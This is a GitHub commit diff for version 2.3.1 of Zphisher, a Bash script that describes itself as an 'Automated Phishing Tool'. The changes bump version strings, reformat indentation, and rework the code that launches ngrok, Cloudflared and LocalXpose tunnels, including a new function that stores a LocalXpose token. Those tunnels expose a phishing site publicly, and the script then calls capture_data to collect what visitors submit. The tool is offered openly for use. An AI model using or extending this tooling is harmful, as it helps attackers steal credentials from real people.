Skip to content

Commit 7ec5cbc

Browse files
authoredAug 8, 2022
Zphisher 2.3.1
2 parents 22847dc + 92b549e commit 7ec5cbc

File tree

3 files changed

+58
-51
lines changed

3 files changed

+58
-51
lines changed
 

‎README.md

+5-5
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,18 @@
55
</p>
66

77
<p align="center">
8-
<img src="https://img.shields.io/badge/Version-2.3.0-green?style=for-the-badge">
8+
<img src="https://img.shields.io/badge/Version-2.3.1-green?style=for-the-badge">
99
<img src="https://img.shields.io/github/license/htr-tech/zphisher?style=for-the-badge">
1010
<img src="https://img.shields.io/github/stars/htr-tech/zphisher?style=for-the-badge">
1111
<img src="https://img.shields.io/github/issues/htr-tech/zphisher?color=red&style=for-the-badge">
1212
<img src="https://img.shields.io/github/forks/htr-tech/zphisher?color=teal&style=for-the-badge">
1313
</p>
1414

1515
<p align="center">
16-
<img src="https://img.shields.io/badge/Author-htr--tech-blue?style=flat-square&edge_flat=false">
17-
<img src="https://img.shields.io/badge/Open%20Source-Yes-darkgreen?style=flat-square&edge_flat=false">
18-
<img src="https://img.shields.io/badge/Maintained%3F-Yes-lightblue?style=flat-square&edge_flat=false">
19-
<img src="https://img.shields.io/badge/Written%20In-Bash-darkcyan?style=flat-square&edge_flat=false">
16+
<img src="https://img.shields.io/badge/Author-htr--tech-blue?style=flat-square">
17+
<img src="https://img.shields.io/badge/Open%20Source-Yes-darkgreen?style=flat-square">
18+
<img src="https://img.shields.io/badge/Maintained%3F-Yes-lightblue?style=flat-square">
19+
<img src="https://img.shields.io/badge/Written%20In-Bash-darkcyan?style=flat-square">
2020
<img src="https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.heygears.com%2Fhtr-tech%2Fzphisher&title=Visitors&edge_flat=false"/></a>
2121
</p>
2222

‎make-deb.sh

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
# Make Deb Package for Zphisher (^.^)
44
_PACKAGE=zphisher
5-
_VERSION=2.3.0
5+
_VERSION=2.3.1
66
_ARCH="all"
77
PKG_NAME="${_PACKAGE}_${_VERSION}_${_ARCH}.deb"
88

‎zphisher.sh

+52-45
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
## Zphisher : Automated Phishing Tool
44
## Author : TAHMID RAYAT
5-
## Version : 2.3
5+
## Version : 2.3.1
66
## Github : https://github.com/htr-tech/zphisher
77

88

@@ -89,7 +89,7 @@
8989
## TheLinuxChoice - https://twitter.com/linux_choice
9090

9191

92-
__version__="2.3.0"
92+
__version__="2.3.1"
9393

9494
## ANSI colors (FG & BG)
9595
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
@@ -125,13 +125,13 @@ fi
125125

126126
## Script termination
127127
exit_on_signal_SIGINT() {
128-
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }
129-
exit 0
128+
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }
129+
exit 0
130130
}
131131

132132
exit_on_signal_SIGTERM() {
133-
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }
134-
exit 0
133+
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }
134+
exit 0
135135
}
136136

137137
trap exit_on_signal_SIGINT SIGINT
@@ -141,7 +141,7 @@ trap exit_on_signal_SIGTERM SIGTERM
141141
reset_color() {
142142
tput sgr0 # reset attributes
143143
tput op # reset color
144-
return
144+
return
145145
}
146146

147147
## Kill already running process
@@ -185,17 +185,17 @@ banner_small() {
185185
dependencies() {
186186
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."
187187

188-
if [[ -d "/data/data/com.termux/files/home" ]]; then
189-
if [[ ! $(command -v proot) ]]; then
188+
if [[ -d "/data/data/com.termux/files/home" ]]; then
189+
if [[ ! $(command -v proot) ]]; then
190190
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE}
191-
pkg install proot resolv-conf -y
192-
fi
191+
pkg install proot resolv-conf -y
192+
fi
193193

194-
if [[ ! $(command -v tput) ]]; then
194+
if [[ ! $(command -v tput) ]]; then
195195
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}ncurses-utils${CYAN}"${WHITE}
196-
pkg install ncurses-utils -y
197-
fi
198-
fi
196+
pkg install ncurses-utils -y
197+
fi
198+
fi
199199

200200
if [[ $(command -v php) && $(command -v curl) && $(command -v unzip) ]]; then
201201
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed."
@@ -410,20 +410,15 @@ start_ngrok() {
410410
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
411411
{ sleep 1; setup_site; }
412412
echo -e "\n"
413-
read -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
414-
opinion=${opinion:=N}
415-
if [[ ${opinion::1} == "y" || ${opinion::1} == "Y" ]]; then
416-
ngrok_region="eu" # eu, au, ap, sa, jp, in
413+
read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
414+
[[ ${opinion,,} == "y" ]] && ngrok_region="eu" || ngrok_region="us"
415+
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
416+
417+
if [[ `command -v termux-chroot` ]]; then
418+
sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
417419
else
418-
ngrok_region="us"
420+
sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
419421
fi
420-
echo -ne "\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
421-
422-
if [[ `command -v termux-chroot` ]]; then
423-
sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
424-
else
425-
sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
426-
fi
427422

428423
{ sleep 8; clear; banner_small; }
429424
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)')
@@ -435,16 +430,16 @@ start_ngrok() {
435430

436431
## Start Cloudflared
437432
start_cloudflared() {
438-
rm .cld.log > /dev/null 2>&1 &
433+
rm .cld.log > /dev/null 2>&1 &
439434
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
440435
{ sleep 1; setup_site; }
441436
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..."
442437

443-
if [[ `command -v termux-chroot` ]]; then
438+
if [[ `command -v termux-chroot` ]]; then
444439
sleep 2 && termux-chroot ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 &
445-
else
446-
sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 &
447-
fi
440+
else
441+
sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 &
442+
fi
448443

449444
{ sleep 8; clear; banner_small; }
450445

@@ -455,25 +450,37 @@ start_cloudflared() {
455450
capture_data
456451
}
457452

453+
localxpose_auth() {
454+
./.server/loclx -help > /dev/null 2>&1 &
455+
sleep 1
456+
[ -d ".localxpose" ] && auth_f=".localxpose/.access" || auth_f="$HOME/.localxpose/.access"
457+
458+
[ "$(./.server/loclx account status | grep Error)" ] && {
459+
echo -e "\n\n${RED}[${WHITE}!${RED}]${GREEN} Create an account on ${ORANGE}localxpose.io${GREEN} & copy the token\n"
460+
sleep 3
461+
read -p "${RED}[${WHITE}-${RED}]${ORANGE} Input Loclx Token :${ORANGE} " loclx_token
462+
[[ $loclx_token == "" ]] && {
463+
echo -e "\n${RED}[${WHITE}!${RED}]${RED} You have to input Localxpose Token." ; sleep 2 ; tunnel_menu
464+
} || {
465+
echo -n "$loclx_token" > $auth_f 2> /dev/null
466+
}
467+
}
468+
}
469+
458470
## Start LocalXpose (Again...)
459471
start_loclx() {
460472
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
461-
{ sleep 1; setup_site; }
473+
{ sleep 1; setup_site; localxpose_auth; }
462474
echo -e "\n"
463-
read -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
464-
opinion=${opinion:=N}
465-
if [[ ${opinion::1} == "y" || ${opinion::1} == "Y" ]]; then
466-
loclx_region="eu" # ap / eu
475+
read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
476+
[[ ${opinion,,} == "y" ]] && loclx_region="eu" || loclx_region="us"
477+
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."
478+
479+
if [[ `command -v termux-chroot` ]]; then
480+
sleep 1 && termux-chroot ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 &
467481
else
468-
loclx_region="us"
482+
sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 &
469483
fi
470-
echo -ne "\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."
471-
472-
if [[ `command -v termux-chroot` ]]; then
473-
sleep 2 && termux-chroot ./.server/loclx tunnel http --region ${loclx_region} -t "$HOST":"$PORT" --https-redirect > .server/.loclx 2>&1 &
474-
else
475-
sleep 2 && ./.server/loclx tunnel http --region ${loclx_region} -t "$HOST":"$PORT" --https-redirect > .server/.loclx 2>&1 &
476-
fi
477484

478485
{ sleep 12; clear; banner_small; }
479486
loclx_url=$(cat .server/.loclx | grep -Eo '[-0-9a-z]+.[-0-9a-z]+(.loclx.io)') # Somebody fix this crappy regex :(

0 commit comments

Comments
 (0)